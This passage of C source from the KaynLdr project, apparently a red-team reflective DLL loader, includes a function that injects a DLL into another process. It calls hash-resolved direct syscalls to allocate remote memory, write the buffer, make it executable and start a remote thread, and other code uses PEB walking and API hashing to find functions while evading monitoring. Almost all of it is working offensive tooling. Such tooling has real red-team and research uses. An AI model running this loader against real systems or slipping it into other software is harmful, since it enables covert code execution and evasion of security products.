pImageExportDirectory = RVA_2_VA( PIMAGE_EXPORT_DIRECTORY, pLdrDataEntry->DllBase, pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress ); 97 | 98 | WORD Sys_NtAllocateVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtAllocateVirtualMemory" ) ); 99 | WORD Sys_NtWriteVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtWriteVirtualMemory" ) ); 100 | WORD Sys_NtProtectVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtProtectVirtualMemory" ) ); 101 | WORD Sys_NtCreateThreadEx = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtCreateThreadEx" ) ); 102 | 103 | if( !hProcess || !lpBuffer || !dwBufferSize ) 104 | return NULL; 105 | 106 | dwKaynLoaderOffset = KaynOffset( lpBuffer, HashStringA( "KaynLoader" ) ); 107 | if( !dwKaynLoaderOffset ) 108 | { 109 | puts( "[-] Couldn't find KaynLoader" ); 110 | return NULL; 111 | } 112 | 113 | // Allocate Memory 114 | SyscallPrepare( Sys_NtAllocateVirtualMemory ); 115 | if ( NT_SUCCESS( SyscallInvoke( hProcess, &lpRemoteLibraryBuffer, 0, (PULONG)&dwVirtualSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) ) 116 | { 117 | printf( "[+] Successful allocated remote memory: lpRemoteLibraryBuffer:[%p]\n", lpRemoteLibraryBuffer ); 118 | 119 | // Write Dll buffer into remote memory 120 | SyscallPrepare( Sys_NtWriteVirtualMemory ); 121 | if ( NT_SUCCESS( SyscallInvoke( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwBufferSize, 0 ) ) ) 122 | { 123 | puts( "[+] Successful copied dll buffer" ); 124 | 125 | // change protection from RW to RX 126 | SyscallPrepare( Sys_NtProtectVirtualMemory ); 127 | if ( NT_SUCCESS( SyscallInvoke( hProcess, &lpRemoteLibraryBuffer, &dwVirtualSize, PAGE_EXECUTE_READ, &dwOldProtection) ) ) 128 | { 129 | puts( "[+] Successful change protection: RW -> RX" ); 130 | lpKaynLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwKaynLoaderOffset ); 131 | 132 | // Call KaynLoader in a remote thread 133 | SyscallPrepare( Sys_NtCreateThreadEx ); 134 | if ( NT_SUCCESS( SyscallInvoke( &hThread, GENERIC_EXECUTE, NULL, hProcess, lpKaynLoader, lpParameter, FALSE, NULL, NULL, NULL, NULL ) ) ) 135 | { 136 | printf( "[+] Successful injected DLL: hThread:[%x]\n", hThread ); 137 | } else 138 | puts( "[-] Couldn't create remote thread" ); 139 | 140 | } else 141 | puts( "[-] Couldn't change memory protection from RW to RX" ); 142 | 143 | } 144 | else 145 | puts( "[-] Couldn't copy dll buffer" ); 146 | 147 | } else 148 | puts( "[-] Couldn't allocate virtual memory" ); 149 | 150 | return hThread; 151 | } -------------------------------------------------------------------------------- /KaynLdr/src/Win32.c: -------------------------------------------------------------------------------- 1 | /** 2 | * KaynLdr 3 | * Author: Paul Ungur (@C5pider) 4 | * Credits: Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | 12 | #ifdef _WIN64 13 | #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64 14 | #else 15 | #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW 16 | #endif 17 | 18 | PVOID KGetModuleByHash( DWORD ModuleHash ) 19 | { 20 | PLDR_DATA_TABLE_ENTRY LoaderEntry = NULL; 21 | PLIST_ENTRY ModuleList = NULL; 22 | PLIST_ENTRY NextList = NULL; 23 | 24 | /* Get pointer to list */ 25 | ModuleList = & ( ( PPEB ) PPEB_PTR )->Ldr->InLoadOrderModuleList; 26 | NextList = ModuleList->Flink; 27 | 28 | for ( ; ModuleList != NextList ; NextList = NextList->Flink ) 29 | { 30 | LoaderEntry = NextList; 31 | 32 | if ( KHashString( LoaderEntry->BaseDllName.Buffer, LoaderEntry->BaseDllName.Length ) == ModuleHash ) 33 | return LoaderEntry->DllBase; 34 | } 35 | 36 | return NULL; 37 | } 38 | 39 | __forceinline UINT32 CopyDotStr( PCHAR String ) 40 | { 41 | for ( UINT32 i = 0; i < KStringLengthA( String ); i++ ) 42 | { 43 | if ( String[ i ] == '.' ) 44 | return i; 45 | } 46 | } 47 | 48 | PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal ) 49 | { 50 | PIMAGE_NT_HEADERS ModuleNtHeader = NULL; 51 | PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL; 52 | SIZE_T ExportedDirectorySize = 0; 53 | PDWORD AddressOfFunctions = NULL; 54 | PDWORD AddressOfNames = NULL; 55 | PWORD AddressOfNameOrdinals = NULL; 56 | PVOID FunctionAddr = NULL; 57 | UINT32 Index = 0; 58 | 59 | ModuleNtHeader = C_PTR( DllModuleBase + ( ( PIMAGE_DOS_HEADER ) DllModuleBase )->e_lfanew ); 60 | ModuleExportedDirectory = C_PTR( DllModuleBase + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); 61 | ExportedDirectorySize = C_PTR( DllModuleBase + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size ); 62 | 63 | AddressOfNames = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfNames ); 64 | AddressOfFunctions = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfFunctions ); 65 | AddressOfNameOrdinals = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfNameOrdinals ); 66 | 67 | for ( DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++ ) 68 | { 69 | if ( KHashString( C_PTR( ( PCHAR ) DllModuleBase + AddressOfNames[ i ] ), 0 ) == FunctionHash ) 70 | { 71 | FunctionAddr = C_PTR( DllModuleBase + AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] ); 72 | if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ModuleExportedDirectory && 73 | ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ModuleExportedDirectory + ExportedDirectorySize ) 74 | { 75 | CHAR Library [ MAX_PATH ] = { 0 }; 76 | CHAR Function[ MAX_PATH ] = { 0 }; 77 | 78 | // where is the dot 79 | Index = CopyDotStr( FunctionAddr ); 80 | 81 | // Copy the library from our string 82 | MemCopy( Library, FunctionAddr, Index ); 83 | 84 | // Copy the function from our string 85 | MemCopy( Function, C_PTR( FunctionAddr + Index + 1 ), KStringLengthA( C_PTR( FunctionAddr + Index + 1 ) ) ); 86 | 87 | DllModuleBase = KLoadLibrary( Instance, Library ); 88 | FunctionAddr = KGetProcAddressByHash( Instance, DllModuleBase, KHashString( Function, 0 ), 0 ); 89 | } 90 | 91 | return FunctionAddr; 92 | } 93 | } 94 | 95 | return NULL; 96 | } 97 | 98 | VOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir ) 99 | { 100 | PIMAGE_THUNK_DATA OriginalTD = NULL; 101 | PIMAGE_THUNK_DATA FirstTD = NULL; 102 | 103 | PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL; 104 | PIMAGE_IMPORT_BY_NAME pImportByName = NULL; 105 | 106 | PCHAR ImportModuleName = NULL; 107 | HMODULE ImportModule = NULL; 108 | 109 | for ( pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor ) 110 | { 111 | ImportModuleName = C_PTR( KaynImage + pImportDescriptor->Name ); 112 | ImportModule = KLoadLibrary( Instance, ImportModuleName ); 113 | 114 | OriginalTD = C_PTR( KaynImage + pImportDescriptor->OriginalFirstThunk ); 115 | FirstTD = C_PTR( KaynImage + pImportDescriptor->FirstThunk ); 116 | 117 | for ( ; OriginalTD->u1.AddressOfData != 0 ; ++OriginalTD, ++FirstTD ) 118 | { 119 | if ( IMAGE_SNAP_BY_ORDINAL( OriginalTD->u1.Ordinal ) ) 120 | { 121 | // TODO: get function by ordinal 122 | PVOID Function = KGetProcAddressByHash( Instance, ImportModule, NULL, IMAGE_ORDINAL( OriginalTD->u1.Ordinal ) ); 123 | if ( Function != NULL ) 124 | FirstTD->u1.Function = Function; 125 | } 126 | else 127 | { 128 | pImportByName = C_PTR( KaynImage + OriginalTD->u1.AddressOfData ); 129 | DWORD FunctionHash = KHashString( pImportByName->Name, KStringLengthA( pImportByName->Name ) ); 130 | LPVOID Function = KGetProcAddressByHash( Instance, ImportModule, FunctionHash, 0 ); 131 | 132 | if ( Function != NULL ) 133 | FirstTD->u1.Function = Function; 134 | } 135 | } 136 | } 137 | } 138 | 139 | VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir ) 140 | { 141 | PIMAGE_BASE_RELOCATION pImageBR = C_PTR( BaseRelocDir ); 142 | LPVOID OffsetIB = C_PTR( U_PTR( KaynImage ) - U_PTR( ImageBase ) ); 143 | PIMAGE_RELOC Reloc = NULL; 144 | 145 | while( pImageBR->VirtualAddress != 0 ) 146 | { 147 | Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 ); 148 | 149 | while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock ) 150 | { 151 | if ( Reloc->type == IMAGE_REL_TYPE ) 152 | *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset ) += ( ULONG_PTR ) OffsetIB; 153 | 154 | else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE ) 155 | __debugbreak(); // TODO: handle this error 156 | 157 | Reloc++; 158 | } 159 | 160 | pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc; 161 | } 162 | } 163 | 164 | PVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName ) 165 | { 166 | if ( ! ModuleName ) 167 | return NULL; 168 | 169 | UNICODE_STRING UnicodeString = { 0 }; 170 | WCHAR ModuleNameW[ MAX_PATH ] = { 0 }; 171 | DWORD dwModuleNameSize = KStringLengthA( ModuleName ); 172 | HMODULE Module = NULL; 173 | 174 | KCharStringToWCharString( ModuleNameW, ModuleName, dwModuleNameSize ); 175 | 176 | if ( ModuleNameW ) 177 | { 178 | USHORT DestSize = KStringLengthW( ModuleNameW ) * sizeof( WCHAR ); 179 | UnicodeString.Length = DestSize; 180 | UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); 181 | } 182 | 183 | UnicodeString.Buffer = ModuleNameW; 184 | 185 | if ( NT_SUCCESS( Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) 186 | return Module; 187 | else 188 | return NULL; 189 | } 190 | 191 | /* 192 | --------------------------------- 193 | ---- String & Data functions ---- 194 | --------------------------------- 195 | */ 196 | 197 | DWORD KHashString( PVOID String, SIZE_T Length ) 198 | { 199 | ULONG Hash = HASH_KEY; 200 | PUCHAR Ptr = String; 201 | 202 | do 203 | { 204 | UCHAR character = *Ptr; 205 | 206 | if ( ! Length ) 207 | { 208 | if ( !*Ptr ) break; 209 | } 210 | else 211 | { 212 | if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break; 213 | if ( !*Ptr ) ++Ptr; 214 | } 215 | 216 | if ( character >= 'a' ) 217 | character -= 0x20; 218 | 219 | Hash = ( ( Hash << 5 ) + Hash ) + character; 220 | ++Ptr; 221 | } while ( TRUE ); 222 | 223 | return Hash; 224 | } 225 | 226 | SIZE_T KStringLengthA( LPCSTR String ) 227 | { 228 | LPCSTR String2 = String; 229 | for (String2 = String; *String2; ++String2); 230 | return (String2 - String); 231 | } 232 | 233 | SIZE_T KStringLengthW(LPCWSTR String) 234 | { 235 | LPCWSTR String2; 236 | 237 | for (String2 = String; *String2; ++String2); 238 | 239 | return (String2 - String); 240 | } 241 | 242 | SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed ) 243 | { 244 | INT Length = MaximumAllowed; 245 | 246 | while (--Length >= 0) 247 | { 248 | if (!(*Destination++ = *Source++)) 249 | return MaximumAllowed - Length - 1; 250 | } 251 | 252 | return MaximumAllowed - Length; 253 | } --------------------------------------------------------------------------------